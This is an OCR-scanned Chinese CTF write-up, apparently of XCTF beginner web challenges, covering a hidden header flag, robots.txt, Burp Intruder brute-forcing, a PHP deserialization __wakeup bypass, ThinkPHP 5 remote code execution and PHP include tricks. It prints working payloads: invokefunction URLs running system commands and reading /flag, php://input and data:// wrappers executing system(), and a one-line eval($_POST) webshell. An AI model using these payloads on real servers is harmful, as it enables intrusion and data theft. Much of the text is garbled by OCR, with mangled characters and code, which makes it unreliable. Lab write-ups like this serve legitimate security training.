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EJ Burp Suite Professional v1.5.18 - licensed to LarryLau

Burp Intruder Repeater Window Help

[Target T Proxy T Spider I Scanner T Intruder ~[Repnt:-ate:—r T Sequencer I Decoder T Comparer T Extender T Options TA'B”.S 1

1 = |2 = B -
Go Cancel <’ > |7 Follow redirection Target: http://220.249.5
Request Response

J Raw | Headers | Hex |

[FET /index.php HTTP/L.1 n

Host: 220.249.52.133:58464 P Date: Th 15 Cect 2020 11:51:37 GNT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&d; =&£4: Server pipache/2.4.38 (Debhian)
rv:81.0) Gecko/Z0l0010L Firefox/EL1.0 H-Powered-By: PHP/7.2.21

Locept: FLAG: flag{wvery baby_wsb}
text/html, application/xhtml+xml, application/®ml;q=0.9, image/w Location: 1l.php

ehp, */ *:q=0.8 Content-Length: 17

Aocept-Language : Feep—-Alive: timeout=5, max=100
zh=CH, zh;qgq=0.8, 2h-TW;gq=0.7, zh-HE; q=0.5,en-U3;q=0.3 ,en; g=0.2 Connection: EKeep-Alive
Locept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8
Connection: keep-alive

Upgrade-Insecure-Requests: 1 Flag i=s hidden!

iR LFE Fflag: flag{very baby web}



®E= BERRRYIGAE, ERul/EHSB3BEE1.php, WATH LS| G RBFIGAE, HF12ENEH & SITREH

P k3R AT LLE 2
w ﬂ Elements  Conscle  Sources Metwork Performance Memory  Application Security Lighthouse
® ® V¥ Q | [Preservelog [ Disable cache | Online ¥ | # #
Filter [ Hide datz URLs @ ¥HR J5 €55 Img Media Font Doc WS Manifest Other [ Has blocked cooki
Sms 10 mis 15 ms 20 ms 25 ms 30 ms 33 ms 40 ms 45n
Mame X  Headers Preview Response Initiat

[ ] 220.249.52.133
[ 1.php

2 requests | 517 B transferred

Training-WWW-Robots

¥ Response Headers

view source
Connection: Keep-&live
Content-Length: 17
Content-Type: t
Date: Thu,
FLAG: flag{very_baby_ web}

html; charset=UTF-8
ct 2828 11:31:21 GMT

Keep-Alive: timeout=5, max=102
Location: 1.php
Server: Apache/2.4.38 {(Debian)
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> C A F=2| 22024952.133:47824
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In this little training challenge, you are going to learn about the Robots exclusion_standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead protecting the content from being crawled.

Enjoy!

8 H R Trobots, AT FE Frobotsth sl 24 &R 7
ALY
robotstii¥  « ==
FAEH R EPE R ERRAERESHA T EINE =i -
robotsthi¥ thiHrobots.txt (#5— "5 E2—MEHTERAGIEETE T AIASCIERBE AT, RS RFEHEESIER
B (NErPREEEINE Y , LERAT R S R T R S T [ S e BN A, WP Ol MR A . B — R
ARIURLE A" S8R, Brlkrobots st B8R —H-"5 . robots T B TRRGAHEETET - MRBBhFE ¥ 1%sc|iE

AlEdres e BRITANTH, ML ERRRSHEIRER T Mrobots.ixt, SEFEMrobotsiTAllR (Metadata, XFRT
Hig) .

(T ] . e - e —

robotstis A E— TS, TRESTERRAT, P HraeRiEFEa AR, .

23t pythonl€ L — & ARSI, ] B A SR Uk At gl R 9 i 7 B AR SO FoF BB A5 B X2, 2 F RN R BE A thill,
BTGB
BT CABRAI 135 i — F hitp://220.249.52.133:47824/robots. txt

< C A F==| 220.249.52.133:47824/robots.txt

i WA ™ Gmail @ vouTube BY #E 1\ CTF Writeup —f.. [

Tzer—agent: *
Dizallow: f£10g.php

TUzer—agent: Tandex
Dizallow: *

SR )5 F U i — Fhttp://220.249.52.133:47824/f0g.php
< C A F==| 220.249.52.133:47824/fl0g.php

HOWA ™M Gmal @ VouTube BY #E  \A CTF Writeup —.. [ v

cyberpeace{903178f76966037c8b7e%ac18980dcdb}

BJE&Zlflag: cyberpeace{903178f76966037c8b7e9ac18980dcdb}
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E Burp Suite Professional ¥1.5.18 - licensed to Larrylau

Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner T Intruder I Repeater T Sequencer I Decoder T Comparer I Extender T Options

1 =2 = |3 =« | ..

Target | Positions T Payloads T Options ]

liJ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the we
see help for full details.

Attack type: lSniper

GET /index.php?id=§1§ HTTP/1.1
Host: ZI0.2459.52.133:48330

T = T L L T e T T et Es o =T T




UWSEr—ACQENT. MNoZlllaf2.u [WlNAows M1 1lu.U; wlno<s; Xogy; CWiol.u) DECKO/  sUJ1iuU1iulL rir
Lhocept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.
fl becept-Language: zh-CHW, zh;q=0.8, zh-TW;q=0.7, zh-HE; q=0.5,en-U3;q=0.3,en;q=0.2

i Aocept-Encoding: gzip, deflate

Referer: http://220.249.52.133:48330/

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

EJ Burp Suite Professional v1.5.18 - licensed to LarryLau — O

Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner Ilntmder T Repeater I Sequencer I Decoder I Comparer I Extender T Options IAIerts ]

1« |2 = [ 3 s |

Target | Positions | Payloads T Options ]

EJ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for
each payload set, and each payload type can be customized in different ways.

Payload set: l1 |v] Payload count: 3,000

Payload tyge: [Numhers |v] Request count: 3,000

R

EJ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: (® Sequential () Random
Fras s
From: 1
To: 3000 ERHE3000-MH
Step: 1 IEEI=
How many:
Number format
Base: ® Decimal () Hex
Min integer digits:
Max integer digits:
Min fraction digits:
Max fraction digits:
SRIGintruder P AR IRAE, B MR H SRid=2333
A AfEbp B E W E 2lflag, A AEM T EF Bliflag
E intruder attack 2 — O >
Attack Save Columns
J Results T Target I Positions T Payloads I Options ]
Filter: Showing all items ?
Request | Payload IStatus [Effor | Timeout | Length v | Comment I
2333 2313 1200 U L] 1901 A
0 200 ] [J 1866 baseline request
1 1 200 0 [] 1866
2 2 200 ] [] 1866
3 3 200 0 [] 1866
4 4 200 ] [] 1866
5 5 200 0 [] 1866
A A 200 [ [ 13GR




7 7 200 U [] 1866
4|8 8 200 O [] 1866

1

1 | Request Responsel

J RawI Headers I Hex I HTML T Render }

</html> i
%yherpeace{l]6e!i24d21l]53a5a1‘33463hd3fh3h06?a}

v
L2 = 2] (2 [Tvpe & search tem 0 matches
Finished [ TS OO ST T WE TR o oo s

< C A F==| 220.249.52.133:48330/index.phffid=2333
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cyberpeace{06e924d21053a5a783468bd3Th3bcETa}

5 3flag: cyberpeace{06e924d21053a5a783468bd3fb3bc67a}
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<?php
class Demo {

private $file 5
__construct($file) {

$this->file $file;

public function

1
J

function _ destruct() {

echo @highlight file($this->file, true);
!
J

function _ wakeup() {
if ($this->file

$this->file

1
J

1
J

if (isset($_GET[ 1) {
$var = base64 decode($ GET[ 1);

if (preg_match( , $var)) {
die( )5
} else {

@unserialize($var);

}
} else {

highlight_file(

AT IR AR — T

H%H— 1 Demoz, —AMFAE RAL ESfileI{E A index.php’s

" construct()"B#: XARERBCIEIMR (new) W ES H 3R

destruct() (FANTRILHMAE T, csdnlIAT RIS FTINMFA), XA R E0R St Gt 3] Ao (33 F

wakeup() BHUR 7 B GES 4 E 31 A ) R 4

T—BRiBRAgeth REBEW T —AvarZ g, Histvaritirbase64f#iy, M IENICEFHFRFRFE, “‘[oc]' ILERKRZBE AN TR, \dRILER
BEHE, (RAXRGKNE, hEHESER, FERATEERFIINEFERTLL, XATFESGIH

RATER BIf4g.phpHt L A GeIE =R

142 3d wake up & ¥

__wakeup()

RAE R FFCERE PR EF I BEVE R 8L, Munserialize i &, BB EFFE_ wakeup()Ri%l, WRFLEMNE, <ML RA
_ wakeup() B #.

guid

_ wakeup() R EURTAZ R 5 R BHEANEE R, WRFINENFZFEFRRBENMNEFESELBEANT—3 FaiskiEH
_ wakeup()eR %, WRZFFRKTFELBEEANL, a5l wakeup()RE.

2 G IEMR AR



(preg_match(’/[oc]:\d+:/i", $var))

T IE M PCAC AR 2 : EARX A KASHERT , HFEFFRHA oty 8 "oty ZHEMER, BampodiE BHEE, FHH
serialize() 154 object , FMSHRBEEAMER " 0", XENFINEREHEIN SEENSHLKE , FEiL" 04 " XFEH
TR R E ToVEE I IE U G g

MO +4R T g vt B gead 7 i v i B & J5 KEAR A .

3 Wi base64in %
BN P A4 E A A AT I

XEE—AphpiAxEE—T

private $file 5

public function _ construct($file) {
$this->file $file;

1
J
function _ destruct() {
echo @highlight file($this->file, true);

1
J

function __ wakeup() {
if ($this->file

$this->file

new Demo (
serialize($A);
str_replace(
str_replace(

echo $C;

echo (base64 encode($C));

?>

ek —: preg_match() O:+4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}

—: _ wakeup() O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fldg.php”;}

0:+4:"Demo”:2:{5:108:" Demo file";s:8:"fl4g.php"”; }TzorNDoiRGVtbyI6Mjp7czoxMDoiAERIBWEAZMLSZSI7czo40iImbDRALNBocCI7FQ==[Finished in 1.1s]




XERMNESHEHW KN, ‘Demofile” AF8AL, MATHFEEE 710, XK Aprivate B ZEFFIMLZ 52K X0 + K4 +
W00 + ZEL" R, MEHE—T, protectedBBIARELFFIAX00 +* +\X00 + BEL", HT“XO7EN KR ERNAT,
I — & AR W Y5 2% AR R Rk Hd 1T base644m g
CXEET A —AEERED
THSAERE— FRAREHXE:

0:+4:"Dema”:2: {5:10; "Demofile” ;s:8: "fldg. php”: }

INT v = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS~ LF-
@ Load URL (http://220.249.52.133:36381 findexphpivar — S I R s Pt MO S oy
¥ split URL
[ Execute
[l Postdata [ Referrer 4 OxHEX 3B 4% %URL M % BASEGS 3 |- to repla | Insert replacing st | [ Replace Al 3B |3

o] BRI IEHEEHATpayload it Thaseb4fF0 2 (G R LASHE R ER PIESRIELEFS (EEXAME) 858,
thatE“\x00"
[EFIESR, #23rpayload, ‘§F|flag

INT v = & SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFl-
@ Load URL (httpy//220.249.52.133:33009/index.php?var=TzorNDoiRGVtbyl6Mjp7czoxMDoiAERIBWBAZmIsZS 7c2040imbDRLnBocCITIQ==
& split URL
b Execute
[ Pestdata [ Referrer ¥ OxHEX 3 4K %URL 3 &K BASESY I | insert string to replace l_— splacing string| [Z] Replace Al Moy | B

B LA1R 3l &% 5 B payload:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAER1bW8AZmM1sZSI7czo40iImbDRnLnBocCI7fQ==

< C A F==| 220.249.52.133:305?6,{?\-’ar=TzorNDoiRGthyIGMjp?czoxMDoiAERIbW&AZmIsZSI?czo40|’JmbDRnLnBocCI?fQ== I

HOEE ™M Gmal O YouTube BY #E 3 CTF Writeup —~.. [E] Webzex3smn.,. @ CFE£IS-CTR. [ =EE () Vigeners Solver -... CTH

<?php
$flag="ctf {b1Tbd4cT-34c9-4526-8faf-a0794al97013} ",
P

B #lflag: cti{b17bd4c7-34c9-4526-8fa8-a0794a197013}

php_rce

B R IX AN T
< C A F==| 220.24952.133:33671

HI WA ™M Gmal @ YouTube BF #E  \A CTF Writeup —~..  [E] Webs2zzma.,. @ CTrEsI

ThinkPHP V5



HEE—S) - DAPFF RIS HAEIEL
[ V5.0 kAR tH4 = kB A |

BEAOHESR NARSTE S—APIERRS

KIRThinkPHPIZHE iy & AT, Hgithub LR —T

PEGitHub? BREA. Dl = s ThinkPHP V5

TS O 1INFEESER HE
E ?
[ SkyBlueEternal / thinkphp _RCE-POC-Collection
== - e ~
thinkphp v5 MRS UEBHhITIT E-POCES
Bk (57 Y583 EEfon 15 Jan 2019
e (&) 0

|

Zhao-github / ApiAdmin

ETFThinkPHP V5 .1, " A ERAPIHIESEEES!
kil 0 apiadmin  thinkphp api FES

7430 @HPHP  Apache-203%ARE  BE on 15 Jun

= 0

E =] 0
®E 0o .
[ oneoy / thinkphp -RCE-POC
BFg 0 thinkphp v5 AEERBHITT B-POCES
Y76 B on 6 Aug 2019
iB=aeh

WELXAW W B R L B £

thinkphp-RCE-POC

ELNE:
1, https //blog.thinkphp.cn/869075
2, hitps ://blog.thinkphp.cn/910675

POC:

thinkphp 5.0.22

1, http://192.168.1.1/thinkphp/public/?s=
| think\config/get&name= database.username 2, http://192.168.1.1/thinkphp/public/7s=[think\config

/get&name=database.password
3, http: /ffurlfto/thinkphp_5.0.22/7 s = index / \ think \ app / invokefunction &function = call_user_func_array &vars
[0] = system &vars [1] [] = id

4, http: / /url/to/thinkphp_5.0.22/7
s=indexMthink\app/invokefunction&function=call_user_func_array8uwvars[0]=phpinfo&vars[1][]=1

thinkphp 5




5, http://127.0.0.1/tp5/public/?s=indexAthink\View/display8icontent=%22%3C?%3E%3C?php%20phpinfo();?
%3ERdata=1

thinkphp 5.0.21

6, http: /flocalhost/thinkphp_5.0.21/7 s = index / \ think \ app / invokefunction & function = call_user_func_array &
vars [0] = system &vars [1] [] = id
7, http: /flocalhost/thinkphp_5.0.21/7 s = index /\ think \ app / invokefunction &function = call_user_func_array &
vars [0] = phpinfo &vars [1][] = 1

1 *
thinkphp 5.1,
8, http: /ffurl/to/thinkphp5.1.29/7 s = index / \ think  Request / input&filter = phpinfo &data = 1

RIT X AZIRA, FEMERE— 1 payloadiTi %

C A F=2| 220‘249‘52‘133:33671[?5:imdex/\think\appfinvokefunction&function:ca\\_user_func_array&vars[U]:phpinfo&varsﬂ][]:1 |

O VouTube ¥ #58 3 CTF Writeup—i~..  [[] Websex3Ea.
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W =85 (@ Vigenere Solver ...  [F] CTFZBS - &% @ pythonRAFICIL..

System

Linux 8fa0bfa84c6e 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64

Build Date

Apr 30 2018 21:06:14

Configure Command

*./configure’ "--build=x86_64-linux-gnu’ --with-config-file-path=/usr/local/etc/php’ '--with-config-
file-scan-dir=/usr/local/etc/php/conf.d’ ble-cgi” " ble-ftp' "--enabl; bstri enable-
mysgind’ "--with-password-argon2’ '--with-sodium=shared' '--with-curl’ --with-libedit’ "--with-
openssl' --with-zlib" '--with-libdir=lib/x86_64-linux-gnu’ '--with-apxs2’ 'build_alias=x86_&4-linux-
gnu’

Server API

Apache 2.0 Handler

Virtual Directory Support

disabled

Configuration File (php.ini) Path

Jusr/local/etc/php

Loaded Configuration File

{none)

Scan this dir for additional .ini files

{usr/local/etc/php/conf.d

Additional .ini files parsed

{usr/local/etc/php/conf.d/docker-php-ext-sodium.ini

PHP API 20170718
PHP Extension 20170718
Zend Extension 320170718

Zend Extension Build

API320170718,NTS

PHP Extension Build

API20170718,NTS

Debug Build no

Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled

Zend Multibyte Support

provided by mbstring

1PV6 Support

enabled

DTrace Support

disabled

Registered PHP Streams

https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar

Registered Stream Socket Transports

tcp, udp, unix, udg, ssl, tls, tisv1.0, tlsvl.1, tisv1.2

Registered Stream Filters

zlib.=, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.®,
consumed, dechunk

This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

zendengine

THER! BREEHE ~

| ThinkPHP V5.0.20 { +5E—§|-HAPTH RIS EEEESR |+ |

ROTUH B 5B IR ERv5.0.201), FHLE R T X # A payload

6. http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call user_func_array&vars[0@]=sys
tem&vars[1][ ]=id

7. http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call user_func_array&vars[0]=php
info&vars[1][]=1

&« C A F==| 220.249.52.133:336?']I?s:index/\think\app/invokefunction&function:caII_user_func_array&\.ra|'s[0]:system&vars[1][]:l'cl |

A M Gmail @ VouTube BF #8E \ CTF Writeup —t..  [] Web=2Z3®2.. @ CTFEZIE-CTF. [ H=BE [ Vigenere Solver -... CTFZES - &

uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)



RILAT LLIZHE fir 2 AT
FiENIsEE — T 580 B T rXf

&« C A F==| 220.249.52.133:33671/?5=inde)(/\think\app/invokefunction&function=ca||_user_func_array&\.rars[U]%system&vars[ﬂ[]:Is |

@A ™M Gmail D VouTube BF 18 3 CTFWriteup —.. [ web=ez3za. @ cTrEgTE-Crr. [ HE=EE () Vigeners Solver -..

favicon.ico index.php robots.txt router.php static static

SeBEEREZR
<« C A FE== | 220.249.52.133:33671/?s=index/\think\app/invokefunction&function=call_user_func_array&uvars[0]=system8&uvars[1][1F1s%20../
iHOEE M Gmal @ VouTube BY #E 1\ CTFWriteup —.. [E] webz2zagR. @ crEgTIs-crf.. [ HEEFE () Vigenere Solver -... CTFzES - &% © pythonm

LICENSE.txt README.md application build.php composer.json composer.lock composer.phar extend html public runtime think thinkphp vendor vendor

%20;%?1%5‘]ur|%5%

&« C A F==£| 220.249.52.133:33671/2s=index/\think\app/invokefunction&function=call_user func_array&vars[0]=system&vars[1][1s%20../../
HI WA M Gmail @ VouTube B¥ 83 \} CTF Writeup —i~..  [] web=ez3sa. @ crEgI=-ctr. [N H=EE () Vigensre Solver -.. CTFZESS - i

backups cache lib local lock log mail opt run spool tmp www www

&« C A F==2 | 220.249.52.133:33671/?s=index/\think\app/invokefunction&function=call_user func_array&vars[0]=system&vars[1][J1s%20../../../
HOEE M Gmail B VouTube BY #8E \R CTF Writeup —t.. [E] Web=ez3sa.,. @ CTFEZTIS-CTR. [ L=EE () Vigenere Solver -... CTFZRES - #H

bin boot dev etc home lib lib64 media mnt opt proc root run shin srv sys tmp usr var var

BEERH X TR EIlag3X M, R)5HHfinda < EK Sflagh KK{E B
« ¢ o O & 220.249.52.133:336?1,’?5=index,f\thmk\appﬁnvokefunction&function=calI_user_func_array&vars[O]zsystem&vars[ﬂI]

Byamsrmss @ wEre OsAmr @ s=mn M F=Eun

fflag /flag

)5 Fcat fflag
&« c © & 220.249.52.133:33671/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][] f cat /flag

Ealesss @ FErl B smme O s=sun I FEEun

Iﬂag{thinkphpSﬁrce} flag{thinkphp5 rce} I

/58 %flag: flag{thinkphp5_rce}



Web_ php_include

MR strstr()geid, php:/ith il

<?php

show_source(__FILE_);
15
1

while (strstr($page, )) {
$page=str_replace( 5 , $page);

1
J

include($page);

?>

strstr():

& XA
BREFHBREN—NFRBEPREEE, WRE, BREFRFHRFRESS, BNIREfalse.

X KNG, strstr)RBRX 5 KNG

B

strstr(string,search,before_search)

string: 4 7%, BRI FERFH

searchilb ™, E#RKFRHE, HRHT, RN MNAASCIMERKFFF

before_search: ik, ERilA“false”, # Atrue KR [MlsearchZH 5 — R B2 Bl I 715 5 384

str_replace():

5 SUFI

DHREFHERFHFRETH—EFH (KFPKRPAE)
B

str_replace(find,replace,string,count)

find, 67, EAEEKE

replace, W&, BEEHBRKE

string, %%, WHERMFERS

count, Ali%, FH#HRE

XEETHILRXE, BELEHE =ML
HE—: SRidstrstr(), XANRERX 5 KANH, A BAA] BLKE S8 php://input

?page=PHP://input

php:/finput AT BL; i) SR B SR a6 5048 10 R 323m, 7T DABRER B>k B POSTH) IR 46 5048
XEBRAT kI hackbarfpost, HAEABH 221k, REXH Tbp, KMBERMT
« > 220.249.52.133:42091 ?page=PHP://input

Euamesss @ FFELE Eemmt @ s FET

< ?php
show_source(_ FILE_ ):
¢page=% GET['page']:
wnile (strstriSpage, "php:/S")) {
¢page=str replace("php://", "", Spage);

include ($page):
=



220.249.52.133

I D& Desls DiFE NAEaE ((EeEs Qe OaF B &
Encryption ~ Encoding ~ SQL~ X585~ LR~ XXE~ Other -
& Load URL hitp://220.249.52.133:42091/?page=PHP //input
& split URL
‘ @Execute

Postdata [] Referer [] User Agent [] Cookies

<?php
system("ls")
=

KINEH AL
THEZbp
‘ Burp Suite Professional v1.5.18 - licensed to Larrylau

Burp Intruder Repeater Window Help

Add Hea

[Target I Prascy T Spider I Scanner I Intruder IRepeatef T Sequencer I Decoder I Comparer I Extender I Options IAIer‘LS ]

J Raw T Params T Headers | Hex | XML ]

1= (2 = | 3= |..
Go Cancel <|v >\ Target: http://220.249.52.133:420M1 | & || 7
Request Response

Raw | Headers | Hex

GET | ?page=FHF://input [HTTP/1.1

Host: COU.245. 50155042091

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;
rv:81l.0) Gecko/Z0l0010Ll Firefox/81.0

Aoccept:

text/html, application/xhtml+xml, application/xml; q=0.9, imags/w
ebp, */*;q=0.8

Aocept-Language:

zh-CHN, gh; q=0.8, zh-TW;=0.7, zh-HE; q=0.5,en-U3;q=0.3,en; q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-aliwve

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 25

xE4;

php
system("ls"
I

e

#007700">(</span><span style="color: A
#OOOOBB">_ FILE </span»><span style="color: #007700">) :<br -
/>echo&knbsp;</span><span style="color:
#DDDDBB">$_GET<fspan><span style="color:

#007700"> [</span><span style="color:
#DDOOOD"> 'hello' </span><span style="color: HOO07700">] :<br
f=</span><span style="color: HO000OBE":>Spage</spanx<span
style="color: #007700"»>=</span><span style="color:
#DDDDBB">$_GET<fspan><span style="color:

#0O07700"> [</span><span style="color:

HDDOOO0O">'page ' </span><span style="color: HO07700"=];:<br ™

/>while&nbsp; (</span=<span style="color:
#O000OBE"»strstr</span><span style="color:
#007700"=({</span><span style="color:
#O00OBE"»Spage</spanr<span style="color:
#007700"> &nbsp </ span><span style="color:
#DDOOOO">"php: /f"</spanr<span style="color:
#007700">) j&nbsp ; {<br

/z&nhsp ;&nbsp ;&nhsp ;&nbsp ; </ span><span style="color:
#O00OOBE">Spage</span=<span style="color:
#007700">=</span><span style="color:
#DDDDBB">str_replace<fspan><span style="color:
#007700">( </ span><span style="color:

#DDO0OO">"php: ff"</=pans><span style="color:
#007700"> &nbsp ;</span><span style="color:
#DDO00O"=""</gpan><span style="color:
#007700"> &nbsp ;</span><span style="color:
HOODOEE">$page</span><span style="color: #O007700"=) :<bhr
S=Y<br /rineclude( </span><span style="color:



#DﬁDDBB">$page<fépan;<span-style;"color: #007700"=) :<br
f=</=span><span style="color: HOO0D0ODBE":>?&gt;<br /></span>

</span>
</code>£ldgisisish3r3. php
index.php
hpinfo.php ]
Iv
l Burp Suite Professional v1.5.18 - licensed to LarrylLau = O X
Burp Intruder Repeater Window Help
[Target I Proxy I Spider I Scanner I Intruder TRepeate.' T Sequencer T Decoder T Comparer T Extender T Options IA“EI'T.S ]
1= |2 = [(Bes ---
Go Cancel <|v > Target: http://220.249.52.133:42091 [ﬁ U
Request Response
J Raw T Params IHeaders Hex | XML ] Raw | Headers | Hex
GET /?page=PHP://input HTTP/Ll.1 A #OOOOBE">_ FILE </spanz<span style="color: #007700"=) ;<br A
Host: 220.249.52.133:42091 - />echo&nbsp ;</span><span style="color: ™~
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; =xé£4; H#OOOOBE">§_GET</span><span style="color:
rv:igl.0) Gecko /20100101 Firefox/8Ll.0 #007700">[</span><span style="color:
Locept: #DDOO0O0">"'hello' </spans<span style="color: H#007700":>] :<br
text/html, application/xhtml4+xml, application/xml;q=0.9, images/w fr</spanr<span style="color: #0000EE":$page</span><span
ebp, */*;q=0.8 style="color: #007700"»=</sSpan=<span style="color:
Aocept-Language: #DDDDBB">$_GET<fspan><span style="color:
zh-CH, g2h;qgq=0.8, sh-TW; q=0.7, sh-HE; q=0.5,en-U3;¢=0.3,en;q=0.2 #007700">[</span><span style="color:
Aecept-Encoding: gzip, deflate H#DDOOO0">'page' </span><span style="color: H007700":] :<br
Connection: keep-alive />while&nhsp ;(</span><span style="color: ~
Upgrade-Insecure-Requests: 1 #O000BE"»>strstr</spanr<span style="color:
Cache-Control: max-—-age=0 HO07700">(</=pan><span style="color:
Content-Length: 45 #O0O0BE">§page</spanr<span style="color:
#O07700">  &nbsp ;</span><span style="color:
<?php #DDO0OOO">"php: f/"</span><span style="color:
system|"cat fld4gisisish3r3.php™) | #007700"=) )&nbsp ; {<br
P />&nbsp ;&nbsp :&nbsp ;&nbsp ;</span><span style="color:
#O0O0BE">§page</spanr<span style="color:
#O007700">=</2pan><zpan style="color:
#DDDDBB">str_rep1ace<fspan><span style="color:
HO007700">(</span><span style="color:
H#DDOOOO">"php: f/"</span><span style="color:
#007700">  &nbsp ;</span><span style="color:
#DDO0O0"=""</span=<span style="color:
#007700"> &nbsp ;</span><span style="color:
H#O0ODOBE"=5page</spanz<span style="color: #007700":=) :<br
f=}<br /rinclude(</span><span style="color:
#O0ODOBE">5page</spanr<span style="color: #007700"=) ;<br
fre/apan><span style="color: #O00O0DEB":>?&gt;:<br /=</sSpan>
</ span>
</ code><?php
§flag="ctf{B87caSfca-96ci-4chd-9075-46f0c88475d2}";
7
- 94

& J5 19 Flflag

FEZ: datafh iU HAT
payload:

e=data://text/plain,<?php system("1s")?>

&« & @ D £ 220.249.52.‘133:42091l?page=data:[,!textjplain,«:?php system("ls")?> I

Byamersiss @ Fixtix E=mmu O s=mwn [l 7w

< ?php

show_source [ FILE ):

echo $§_GET['hello']:

¢page=% GET['page']:

while (strstr(fpage, "php:
5page=5t1’_replace {("ph

_'-L:“_cl'_;de (Epage)
i
Iﬂ4gisisish3r3_php mdex php phpinfo php I

&« c o 0 £ 220.249.52.‘133:4209I,I?page:data:f,r‘text/‘plain,<?php system("cat fldgisisish3r3.php")?= I



Byamesmss @ FFrtks s @ =0 il ZEun

<7?php
show_source(  FILE ):

Spage=% GET['page']:
while (strestr(Spage, "php:
Spage=5tr_replacei"php:

"", $page);

include ($page) ;
b

U T SRR A EMBARE, BEE T Kwp K AfagfEIFS R, phpStfr—BaER~AMS

C @
Eaxmerzs @ HFrrr Esmme O =sun =z

<code><span style="color: #0

o>

<span style="color: #0000BB">»:zlt; ?php<br f}show_source(!span><span style="color: #007700">(</span><span style="color: #0

</span>

2php
Sflag="ctf{876abfca-96cé-4cbd-9075-46f0c8947642} ", I
=

W] LLF] FhelloZB & ) -
show_source() B HO0 U EAT B H R 2R .
‘, Burp Suite Professional v1.5.18 - licensed to LarryLau

Burp Intruder Repeater Window Help

¢ view-source:http: .249.52.133: ?page=data://text/plain, ?php system("cat fl4gisisish3r3.php~)?
# i http://220.249.52.133:42091,/7 data://text/plain,%3C?ph ("cat fldgisisish3r3.php~)?%3E

1&Zhello=<?show_source('fldgisisish3r3.php');?>
A E B highlight_file() #1514

[Target I Proxy I Spider I Scanner I Intruder IRepeatef T Sequencer I Decoder T Comparer I Extender I Options IA'EI’LS ]

1= |2 = [ Sesl .
Go Cancel < | v Target: http://220.249.52.133:42091 | & t
Request Response

J Raw T Params I Headers I Hex ]

JRawTHeaders Hex XML]

GET /?page=FHP://input HTTE/L.1l

Host: 220.249.52.133:42081

User-Agent: Mozilla/5.0 (Windows NT 10.0;
rv:81.0) Gecko/20100101 Firefox/81.0
Aocept:

text/html, application/xhtml+xml, application/«ml;q=0.9, image/w
ebp, */*:q=0.8

Aocept-Language:

zh=CH, zh;=0.8, 2h-TW;=0.7, zh-HE; q=0.5,en-U3;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 44

Winegd: =&4:;

hello=<?show_source('fld4gisisish3r3.php');?>

X FE AT PAS Blflag

-¥

J=</span><span style="color: H#OO0DOBE"=Spage</span><span
style="color: HOO7700"s>=</span><span style="color:
#DDDDBB">S_GET<fspan><span style="color:
#007700">[</span><span style="color:
#DDOOOO">'page' </ span><span style="color: H#007700">] :<br
Jewhile&nbsp:(</span><span style="color:
#O0000BE">strestr</span><3pan style="color:
#007700">( </ 2pan=><=pan =style="color:
#0000BE">Spage</span><span style="color:

#007700">,&nbsp ;</=pan><span style="color:
#DD0O000">"php: f/"</span><span style="color:
#007700">) ) &nbsp ; {<br

/z&nbsp ;&nbsp ;&nbsp ;&nbsp ;</spanr<span style="color:
#000D0BE">§page</span»<span style="color:
#007700">=</span><span style="color:
#DDDDBB">str_replace<fspan><span style="color:
#007700">( </ span><span style="color:

#DDOOOO">"php: f/"</span><span style="color:
#007700"> ,&nbsp ;</span><span style="color:
#DDO0O0O">""</span><span style="color:
#007700"> &nbsp :</span><span style="color:
#OO0DEE">Spage</span><span style="color: HO07700"=) :<bhr
S=}<br /rinclude(</sSpan><span style="color:
#OO0DEBE"=§page</span><span style="color: HO07700">) :<bhr
J=<fspan><span style="color: HOO0OBE"»?&gt:<br /></span>
</span>

</coder>hello=<code»<span style="color: #000000">

<span style="color: HO0OOOBE">&1t:?php<br
/=6flag</spanr<span style="color: #0DT7700">=</sSpan><span
style="color.
#DDDDDD">rctf{BTGaﬁfca—Bﬁcﬁ—4chd—90?5—46f0039475d2}"
ran style " COILoL: Rogr oo Tl L = el
style="color: HOOOOEE">?&gt;<br /»</span>
</span>

</code>

spans<s

=3 aL=v1)



TEZ: RALPHFIFRX

WS EZE: http://220.249.52.133:42091/index.php?page=data:%20text/plain,<?php%20eval(@$_POST['c")%20?>

i Rc
B e -Ox%
© & ® ET o Ml
B EmAE v
URLHE * http://220.249.52.133:42091/index.php?page=data: %2 0text/plain, < 7p
EEEN ic
PdahEE
IR UTF8 v
JEE: Ll PHP v
DS
= default (%)
) random (FEE)
) base64
B EREER ~
